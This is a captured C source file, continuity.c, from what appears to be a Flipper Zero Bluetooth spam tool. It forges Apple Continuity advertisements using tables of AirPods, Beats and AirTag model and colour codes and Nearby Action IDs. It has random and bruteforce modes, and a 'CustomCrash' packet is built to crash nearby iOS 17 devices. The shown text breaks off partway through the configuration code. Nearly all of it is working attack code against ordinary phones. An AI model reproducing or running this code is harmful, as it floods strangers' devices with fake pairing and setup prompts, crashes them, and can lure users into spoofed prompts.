continuity.c 45 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_airpods_max[] = {
  15. {0x00, "White"},
  16. {0x02, "Red"},
  17. {0x03, "Blue"},
  18. {0x0F, "Black"},
  19. {0x11, "Light Green"},
  20. };
  21. static const ContinuityColor colors_beats_flex[] = {
  22. {0x00, "White"},
  23. {0x01, "Black"},
  24. };
  25. static const ContinuityColor colors_beats_solo_3[] = {
  26. {0x00, "White"},
  27. {0x01, "Black"},
  28. {0x6, "Gray"},
  29. {0x7, "Gold/White"},
  30. {0x8, "Rose Gold"},
  31. {0x09, "Black"},
  32. {0xE, "Violet/White"},
  33. {0xF, "Bright Red"},
  34. {0x12, "Dark Red"},
  35. {0x13, "Swamp Green"},
  36. {0x14, "Dark Gray"},
  37. {0x15, "Dark Blue"},
  38. {0x1D, "Rose Gold 2"},
  39. {0x20, "Blue/Green"},
  40. {0x21, "Purple/Orange"},
  41. {0x22, "Deep Blue/ Light blue"},
  42. {0x23, "Magenta/Light Fuchsia"},
  43. {0x25, "Black/Red"},
  44. {0x2A, "Gray / Disney LTD"},
  45. {0x2E, "Pinkish white"},
  46. {0x3D, "Red/Blue"},
  47. {0x3E, "Yellow/Blue"},
  48. {0x3F, "White/Red"},
  49. {0x40, "Purple/White"},
  50. {0x5B, "Gold"},
  51. {0x5C, "Silver"},
  52. };
  53. static const ContinuityColor colors_powerbeats_3[] = {
  54. {0x00, "White"},
  55. {0x01, "Black"},
  56. {0x0B, "Gray/Blue"},
  57. {0x0C, "Gray/Red"},
  58. {0x0D, "Gray/Green"},
  59. {0x12, "Red"},
  60. {0x13, "Swamp Green"},
  61. {0x14, "Gray"},
  62. {0x15, "Deep Blue"},
  63. {0x17, "Dark with Gold Logo"},
  64. };
  65. static const ContinuityColor colors_powerbeats_pro[] = {
  66. {0x00, "White"},
  67. {0x02, "Yellowish Green"},
  68. {0x03, "Blue"},
  69. {0x04, "Black"},
  70. {0x05, "Pink"},
  71. {0x06, "Red"},
  72. {0x0B, "Gray ?"},
  73. {0x0D, "Sky Blue"},
  74. };
  75. static const ContinuityColor colors_beats_solo_pro[] = {
  76. {0x00, "White"},
  77. {0x01, "Black"},
  78. };
  79. static const ContinuityColor colors_beats_studio_buds[] = {
  80. {0x00, "White"},
  81. {0x01, "Black"},
  82. {0x02, "Red"},
  83. {0x03, "Blue"},
  84. {0x04, "Pink"},
  85. {0x06, "Silver"},
  86. };
  87. static const ContinuityColor colors_beats_x[] = {
  88. {0x00, "White"},
  89. {0x01, "Black"},
  90. {0x02, "Blue"},
  91. {0x05, "Gray"},
  92. {0x1D, "Pink"},
  93. {0x25, "Dark/Red"},
  94. };
  95. static const ContinuityColor colors_beats_studio_3[] = {
  96. {0x00, "White"},
  97. {0x01, "Black"},
  98. {0x02, "Red"},
  99. {0x03, "Blue"},
  100. {0x18, "Shadow Gray"},
  101. {0x19, "Desert Sand"},
  102. {0x25, "Black / Red"},
  103. {0x26, "Midnight Black"},
  104. {0x27, "Desert Sand 2"},
  105. {0x28, "Gray"},
  106. {0x29, "Clear blue/ gold"},
  107. {0x42, "Green Forest camo"},
  108. {0x43, "White Camo"},
  109. };
  110. static const ContinuityColor colors_beats_studio_pro[] = {
  111. {0x00, "White"},
  112. {0x01, "Black"},
  113. };
  114. static const ContinuityColor colors_beats_fit_pro[] = {
  115. {0x00, "White"},
  116. {0x01, "Black"},
  117. {0x02, "Pink"},
  118. {0x03, "Grey/White"},
  119. {0x04, "Full Pink"},
  120. {0x05, "Neon Green"},
  121. {0x06, "Night Blue"},
  122. {0x07, "Light Pink"},
  123. {0x08, "Brown"},
  124. {0x09, "Dark Brown"},
  125. };
  126. static const ContinuityColor colors_beats_studio_buds_[] = {
  127. {0x00, "Black"},
  128. {0x01, "White"},
  129. {0x02, "Transparent"},
  130. {0x03, "Silver"},
  131. {0x04, "Pink"},
  132. };
  133. static const struct {
  134. uint16_t value;
  135. const char* name;
  136. const ContinuityColor* colors;
  137. const uint8_t colors_count;
  138. } pp_models[] = {
  139. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  140. {0x0A20, "AirPods Max", colors_airpods_max, COUNT_OF(colors_airpods_max)},
  141. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  142. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  143. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  144. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  145. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  146. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  147. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  148. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  149. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  150. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  151. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  152. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  153. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  154. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  155. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  156. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  157. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  158. };
  159. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  160. static const struct {
  161. uint8_t value;
  162. const char* name;
  163. } pp_prefixes[] = {
  164. {0x07, "New Device"},
  165. {0x01, "Not Your Device"},
  166. {0x05, "New Airtag"},
  167. };
  168. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  169. static const struct {
  170. uint8_t value;
  171. const char* name;
  172. } na_actions[] = {
  173. {0x13, "AppleTV AutoFill"},
  174. {0x24, "Apple Vision Pro"},
  175. {0x05, "Apple Watch"},
  176. {0x27, "AppleTV Connecting..."},
  177. {0x20, "Join This AppleTV?"},
  178. {0x19, "AppleTV Audio Sync"},
  179. {0x1E, "AppleTV Color Balance"},
  180. {0x09, "Setup New iPhone"},
  181. {0x2F, "Sign in to other device"},
  182. {0x02, "Transfer Phone Number"},
  183. {0x0B, "HomePod Setup"},
  184. {0x01, "Setup New AppleTV"},
  185. {0x06, "Pair AppleTV"},
  186. {0x0D, "HomeKit AppleTV Setup"},
  187. {0x2B, "AppleID for AppleTV?"},
  188. };
  189. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  190. static const char* type_names[ContinuityTypeCOUNT] = {
  191. [ContinuityTypeAirDrop] = "AirDrop",
  192. [ContinuityTypeProximityPair] = "Continuity Pair",
  193. [ContinuityTypeAirplayTarget] = "Airplay Target",
  194. [ContinuityTypeHandoff] = "Handoff",
  195. [ContinuityTypeTetheringSource] = "Tethering Source",
  196. [ContinuityTypeNearbyAction] = "Continuity Action",
  197. [ContinuityTypeNearbyInfo] = "Nearby Info",
  198. [ContinuityTypeCustomCrash] = "Continuity Custom",
  199. };
  200. static const char* get_name(const Payload* payload) {
  201. const ContinuityCfg* cfg = &payload->cfg.continuity;
  202. return type_names[cfg->type];
  203. }
  204. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  205. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  206. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  207. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  208. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  209. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  210. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  211. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  212. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  213. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  214. };
  215. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  216. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  217. ContinuityType type;
  218. if(cfg && cfg->type != 0x00) {
  219. type = cfg->type;
  220. } else {
  221. const ContinuityType types[] = {
  222. ContinuityTypeProximityPair,
  223. ContinuityTypeNearbyAction,
  224. ContinuityTypeCustomCrash,
  225. };
  226. type = types[rand() % COUNT_OF(types)];
  227. }
  228. uint8_t size = packet_sizes[type];
  229. uint8_t* packet = malloc(size);
  230. uint8_t i = 0;
  231. packet[i++] = size - 1; // Size
  232. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  233. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  234. packet[i++] = 0x00; // ...
  235. packet[i++] = type; // Continuity Type
  236. packet[i] = size - i - 1; // Continuity Size
  237. i++;
  238. switch(type) {
  239. case ContinuityTypeAirDrop: {
  240. packet[i++] = 0x00; // Zeros
  241. packet[i++] = 0x00; // ...
  242. packet[i++] = 0x00; // ...
  243. packet[i++] = 0x00; // ...
  244. packet[i++] = 0x00; // ...
  245. packet[i++] = 0x00; // ...
  246. packet[i++] = 0x00; // ...
  247. packet[i++] = 0x00; // ...
  248. packet[i++] = 0x01; // Version
  249. packet[i++] = (rand() % 256); // AppleID
  250. packet[i++] = (rand() % 256); // ...
  251. packet[i++] = (rand() % 256); // Phone Number
  252. packet[i++] = (rand() % 256); // ...
  253. packet[i++] = (rand() % 256); // Email
  254. packet[i++] = (rand() % 256); // ...
  255. packet[i++] = (rand() % 256); // Email2
  256. packet[i++] = (rand() % 256); // ...
  257. packet[i++] = 0x00; // Zero
  258. break;
  259. }
  260. case ContinuityTypeProximityPair: {
  261. uint16_t model;
  262. uint8_t color;
  263. switch(payload ? payload->mode : PayloadModeRandom) {
  264. case PayloadModeRandom:
  265. default: {
  266. uint8_t model_index = rand() % pp_models_count;
  267. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  268. model = pp_models[model_index].value;
  269. color = pp_models[model_index].colors[color_index].value;
  270. break;
  271. }
  272. case PayloadModeValue:
  273. model = cfg->data.proximity_pair.model;
  274. color = cfg->data.proximity_pair.color;
  275. break;
  276. case PayloadModeBruteforce:
  277. switch(cfg->data.proximity_pair.bruteforce_mode) {
  278. case ContinuityPpBruteforceModel:
  279. default:
  280. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  281. color = cfg->data.proximity_pair.color;
  282. break;
  283. case ContinuityPpBruteforceColor:
  284. model = cfg->data.proximity_pair.model;
  285. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  286. break;
  287. }
  288. break;
  289. }
  290. uint8_t prefix;
  291. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  292. prefix = cfg->data.proximity_pair.prefix;
  293. } else {
  294. if(model == 0x0055 || model == 0x0030)
  295. prefix = 0x05;
  296. else
  297. prefix = 0x01;
  298. }
  299. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  300. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  301. packet[i++] = (model >> 0x00) & 0xFF; // ...
  302. packet[i++] = 0x55; // Status
  303. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  304. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  305. packet[i++] = (rand() % 256); // Lid Open Counter
  306. packet[i++] = color; // Device Color
  307. packet[i++] = 0x00;
  308. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  309. i += 16;
  310. break;
  311. }
  312. case ContinuityTypeAirplayTarget: {
  313. packet[i++] = (rand() % 256); // Flags
  314. packet[i++] = (rand() % 256); // Configuration Seed
  315. packet[i++] = (rand() % 256); // IPv4 Address
  316. packet[i++] = (rand() % 256); // ...
  317. packet[i++] = (rand() % 256); // ...
  318. packet[i++] = (rand() % 256); // ...
  319. break;
  320. }
  321. case ContinuityTypeHandoff: {
  322. packet[i++] = 0x01; // Version
  323. packet[i++] = (rand() % 256); // Initialization Vector
  324. packet[i++] = (rand() % 256); // ...
  325. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  326. packet[i++] = (rand() % 256); // Encrypted Payload
  327. packet[i++] = (rand() % 256); // ...
  328. packet[i++] = (rand() % 256); // ...
  329. packet[i++] = (rand() % 256); // ...
  330. packet[i++] = (rand() % 256); // ...
  331. packet[i++] = (rand() % 256); // ...
  332. packet[i++] = (rand() % 256); // ...
  333. packet[i++] = (rand() % 256); // ...
  334. packet[i++] = (rand() % 256); // ...
  335. packet[i++] = (rand() % 256); // ...
  336. break;
  337. }
  338. case ContinuityTypeTetheringSource: {
  339. packet[i++] = 0x01; // Version
  340. packet[i++] = (rand() % 256); // Flags
  341. packet[i++] = (rand() % 101); // Battery Life
  342. packet[i++] = 0x00; // Cell Service Type
  343. packet[i++] = (rand() % 8); // ...
  344. packet[i++] = (rand() % 5); // Cell Service Strength
  345. break;
  346. }
  347. case ContinuityTypeNearbyAction: {
  348. uint8_t action;
  349. switch(payload ? payload->mode : PayloadModeRandom) {
  350. case PayloadModeRandom:
  351. default:
  352. action = na_actions[rand() % na_actions_count].value;
  353. break;
  354. case PayloadModeValue:
  355. action = cfg->data.nearby_action.action;
  356. break;
  357. case PayloadModeBruteforce:
  358. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  359. break;
  360. }
  361. uint8_t flags;
  362. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  363. flags = cfg->data.nearby_action.flags;
  364. } else {
  365. flags = 0xC0;
  366. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  367. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  368. }
  369. packet[i++] = flags; // Action Flags
  370. packet[i++] = action; // Action Type
  371. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  372. i += 3;
  373. break;
  374. }
  375. case ContinuityTypeNearbyInfo: {
  376. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  377. packet[i++] = (rand() % 256); // Status Flags
  378. packet[i++] = (rand() % 256); // Authentication Tag
  379. packet[i++] = (rand() % 256); // ...
  380. packet[i++] = (rand() % 256); // ...
  381. break;
  382. }
  383. case ContinuityTypeCustomCrash: {
  384. // Found by @ECTO-1A
  385. uint8_t action = na_actions[rand() % na_actions_count].value;
  386. uint8_t flags = 0xC0;
  387. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  388. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  389. i -= 2; // Override segment header
  390. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  391. packet[i++] = 5; // Continuity Size
  392. packet[i++] = flags; // Action Flags
  393. packet[i++] = action; // Action Type
  394. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  395. i += 3;
  396. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  397. packet[i++] = 0x00; // ...
  398. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  399. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  400. i += 3;
  401. break;
  402. }
  403. default:
  404. break;
  405. }
  406. *_size = size;
  407. *_packet = packet;
  408. }
  409. enum {
  410. _ConfigPpExtraStart = ConfigExtraStart,
  411. ConfigPpModel,
  412. ConfigPpColor,
  413. ConfigPpPrefix,
  414. ConfigPpCOUNT,
  415. };
  416. enum {
  417. _ConfigNaExtraStart = ConfigExtraStart,
  418. ConfigNaAction,
  419. ConfigNaFlags,
  420. ConfigNaCOUNT,
  421. };
  422. enum {
  423. _ConfigCcExtraStart = ConfigExtraStart,
  424. ConfigCcInfoLock,
  425. ConfigCcInfoDevice,
  426. ConfigCcCOUNT,
  427. };
  428. static void config_callback(void* _ctx, uint32_t index) {
  429. Ctx* ctx = _ctx;
  430. Payload* payload = &ctx->attack->payload;
  431. ContinuityCfg* cfg = &payload->cfg.continuity;
  432. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  433. switch(cfg->type) {
  434. case ContinuityTypeProximityPair: {
  435. switch(index) {
  436. case ConfigPpModel:
  437. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  438. break;
  439. case ConfigPpColor:
  440. if(payload->mode != PayloadModeRandom)
  441. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  442. break;
  443. case ConfigPpPrefix:
  444. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  445. break;
  446. default:
  447. ctx->fallback_config_enter(ctx, index);
  448. break;
  449. }
  450. break;
  451. }
  452. case ContinuityTypeNearbyAction: {
  453. switch(index) {
  454. case ConfigNaAction:
  455. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  456. break;
  457. case ConfigNaFlags:
  458. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  459. break;
  460. default:
  461. ctx->fallback_config_enter(ctx, index);
  462. break;
  463. }
  464. break;
  465. }
  466. case ContinuityTypeCustomCrash: {
  467. switch(index) {
  468. case ConfigCcInfoLock:
  469. case ConfigCcInfoDevice:
  470. break;
  471. default:
  472. ctx->fallback_config_enter(ctx, index);
  473. break;
  474. }
  475. break;
  476. }
  477. default:
  478. ctx->fallback_config_enter(ctx, index);
  479. break;
  480. }
  481. }
  482. static void pp_model_changed(VariableItem* item) {
  483. Ctx* ctx = variable_item_get_context(item);
  484. Payload* payload = &ctx->attack->payload;
  485. ContinuityCfg* cfg = &payload->cfg.continuity;
  486. uint8_t index = variable_item_get_current_value_index(item);
  487. const char* color_name = NULL;
  488. char color_name_buf[3];
  489. uint8_t colors_count;
  490. uint8_t value_index_color;
  491. if(index) {
  492. index--;
  493. if(payload->mode != PayloadModeBruteforce ||
  494. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  495. payload->mode = PayloadModeValue;
  496. cfg->data.proximity_pair.model = pp_models[index].value;
  497. variable_item_set_current_value_text(item, pp_models[index].name);
  498. colors_count = pp_models[index].colors_count;
  499. if(payload->mode == PayloadModeValue) {
  500. for(uint8_t j = 0; j < colors_count; j++) {
  501. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  502. color_name = pp_models[index].colors[j].name;
  503. value_index_color = j;
  504. break;
  505. }
  506. }
  507. if(!color_name) {
  508. snprintf(
  509. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  510. color_name = color_name_buf;
  511. value_index_color = colors_count;
  512. }
  513. } else {
  514. color_name = "Bruteforce";
  515. value_index_color = colors_count;
  516. }
  517. } else {
  518. payload->mode = PayloadModeRandom;
  519. variable_item_set_current_value_text(item, "Random");
  520. color_name = "Random";
  521. colors_count = 1;
  522. value_index_color = 0;
  523. }
  524. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  525. variable_item_set_values_count(item, colors_count);
  526. variable_item_set_current_value_index(item, value_index_color);
  527. variable_item_set_current_value_text(item, color_name);
  528. }
  529. static void pp_color_changed(VariableItem* item) {
  530. Payload* payload = variable_item_get_context(item);
  531. ContinuityCfg* cfg = &payload->cfg.continuity;
  532. uint8_t index = variable_item_get_current_value_index(item);
  533. if(payload->mode != PayloadModeBruteforce ||
  534. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  535. payload->mode = PayloadModeValue;
  536. uint8_t model_index = 0;
  537. for(; model_index < pp_models_count; model_index++) {
  538. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  539. }
  540. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  541. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  542. }
  543. static void pp_prefix_changed(VariableItem* item) {
  544. Payload* payload = variable_item_get_context(item);
  545. ContinuityCfg* cfg = &payload->cfg.continuity;
  546. uint8_t index = variable_item_get_current_value_index(item);
  547. if(index) {
  548. index--;
  549. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  550. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  551. } else {
  552. cfg->data.proximity_pair.prefix = 0x00;
  553. variable_item_set_current_value_text(item, "Auto");
  554. }
  555. }
  556. static void na_action_changed(VariableItem* item) {
  557. Payload* payload = variable_item_get_context(item);
  558. ContinuityCfg* cfg = &payload->cfg.continuity;
  559. uint8_t index = variable_item_get_current_value_index(item);
  560. if(index) {
  561. index--;
  562. payload->mode = PayloadModeValue;
  563. cfg->data.nearby_action.action = na_actions[index].value;
  564. variable_item_set_current_value_text(item, na_actions[index].name);
  565. } else {
  566. payload->mode = PayloadModeRandom;
  567. variable_item_set_current_value_text(item, "Random");
  568. }
  569. }
  570. static void extra_config(Ctx* ctx) {
  571. Payload* payload = &ctx->attack->payload;
  572. ContinuityCfg* cfg = &payload->cfg.continuity;
  573. VariableItemList* list = ctx->variable_item_list;
  574. VariableItem* item;
  575. uint8_t value_index;
  576. switch(cfg->type) {
  577. case ContinuityTypeProximityPair: {
  578. item =
  579. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  580. const char* model_name = NULL;
  581. char model_name_buf[5];
  582. const char* color_name = NULL;
  583. char color_name_buf[3];
  584. uint8_t colors_count;
  585. uint8_t value_index_color;
  586. switch(payload->mode) {
  587. case PayloadModeRandom:
  588. default:
  589. model_name = "Random";
  590. value_index = 0;
  591. color_name = "Random";
  592. colors_count = 1;
  593. value_index_color = 0;
  594. break;
  595. case PayloadModeValue:
  596. for(uint8_t i = 0; i < pp_models_count; i++) {
  597. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  598. model_name = pp_models[i].name;
  599. value_index = i + 1;
  600. colors_count = pp_models[i].colors_count;
  601. for(uint8_t j = 0; j < colors_count; j++) {
  602. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  603. color_name = pp_models[i].colors[j].name;
  604. value_index_color = j;
  605. break;
  606. }
  607. }
  608. break;
  609. }
  610. }
  611. if(!model_name) {
  612. snprintf(
  613. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  614. model_name = model_name_buf;
  615. value_index = pp_models_count + 1;
  616. colors_count = 0;
  617. }
  618. if(!color_name) {
  619. snprintf(
  620. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  621. color_name = color_name_buf;
  622. value_index_color = colors_count;
  623. }
  624. break;
  625. case PayloadModeBruteforce:
  626. switch(cfg->data.proximity_pair.bruteforce_mode) {
  627. case ContinuityPpBruteforceModel:
  628. default:
  629. model_name = "Bruteforce";
  630. value_index = pp_models_count + 1;
  631. snprintf(
  632. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  633. color_name = color_name_buf;
  634. colors_count = 1;
  635. value_index_color = 0;
  636. break;
  637. case ContinuityPpBruteforceColor:
  638. for(uint8_t i = 0; i < pp_models_count; i++) {
  639. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  640. model_name = pp_models[i].name;
  641. value_index = i + 1;
  642. colors_count = pp_models[i].colors_count;
  643. break;
  644. }
  645. }
  646. if(!model_name) {
  647. snprintf(
  648. model_name_buf,
  649. sizeof(model_name_buf),
  650. "%04X",
  651. cfg->data.proximity_pair.model);
  652. model_name = model_name_buf;
  653. value_index = pp_models_count + 1;
  654. colors_count = 0;
  655. }
  656. color_name = "Bruteforce";
  657. value_index_color = colors_count;
  658. break;
  659. }
  660. break;
  661. }
  662. variable_item_set_current_value_index(item, value_index);
  663. variable_item_set_current_value_text(item, model_name);
  664. item =
  665. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  666. variable_item_set_current_value_index(item, value_index_color);
  667. variable_item_set_current_value_text(item, color_name);
  668. item = variable_item_list_add(
  669. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  670. const char* prefix_name = NULL;
  671. char prefix_name_buf[3];
  672. if(cfg->data.proximity_pair.prefix == 0x00) {
  673. prefix_name = "Auto";
  674. value_index = 0;
  675. } else {
  676. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  677. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  678. prefix_name = pp_prefixes[i].name;
  679. value_index = i + 1;
  680. break;
  681. }
  682. }
  683. if(!prefix_name) {
  684. snprintf(
  685. prefix_name_buf,
  686. sizeof(prefix_name_buf),
  687. "%02X",
  688. cfg->data.proximity_pair.prefix);
  689. prefix_name = prefix_name_buf;
  690. value_index = pp_prefixes_count + 1;
  691. }
  692. }
  693. variable_item_set_current_value_index(item, value_index);
  694. variable_item_set_current_value_text(item, prefix_name);
  695. break;
  696. }
  697. case ContinuityTypeNearbyAction: {
  698. item = variable_item_list_add(
  699. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  700. const char* action_name = NULL;
  701. char action_name_buf[3];
  702. switch(payload->mode) {
  703. case PayloadModeRandom:
  704. default:
  705. action_name = "Random";
  706. value_index = 0;
  707. break;
  708. case PayloadModeValue:
  709. for(uint8_t i = 0; i < na_actions_count; i++) {
  710. if(cfg->data.nearby_action.action == na_actions[i].value) {
  711. action_name = na_actions[i].name;
  712. value_index = i + 1;
  713. break;
  714. }
  715. }
  716. if(!action_name) {
  717. snprintf(
  718. action_name_buf,
  719. sizeof(action_name_buf),
  720. "%02X",
  721. cfg->data.nearby_action.action);
  722. action_name = action_name_buf;
  723. value_index = na_actions_count + 1;
  724. }
  725. break;
  726. case PayloadModeBruteforce:
  727. action_name = "Bruteforce";
  728. value_index = na_actions_count + 1;
  729. break;
  730. }
  731. variable_item_set_current_value_index(item, value_index);
  732. variable_item_set_current_value_text(item, action_name);
  733. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  734. const char* flags_name = NULL;
  735. char flags_name_buf[3];
  736. if(cfg->data.nearby_action.flags == 0x00) {
  737. flags_name = "Auto";
  738. } else {
  739. snprintf(
  740. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  741. flags_name = flags_name_buf;
  742. }
  743. variable_item_set_current_value_text(item, flags_name);
  744. break;
  745. }
  746. case ContinuityTypeCustomCrash: {
  747. variable_item_list_add(list, "CRASH FIXED IN IOS 17.2", 0, NULL, NULL);
  748. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
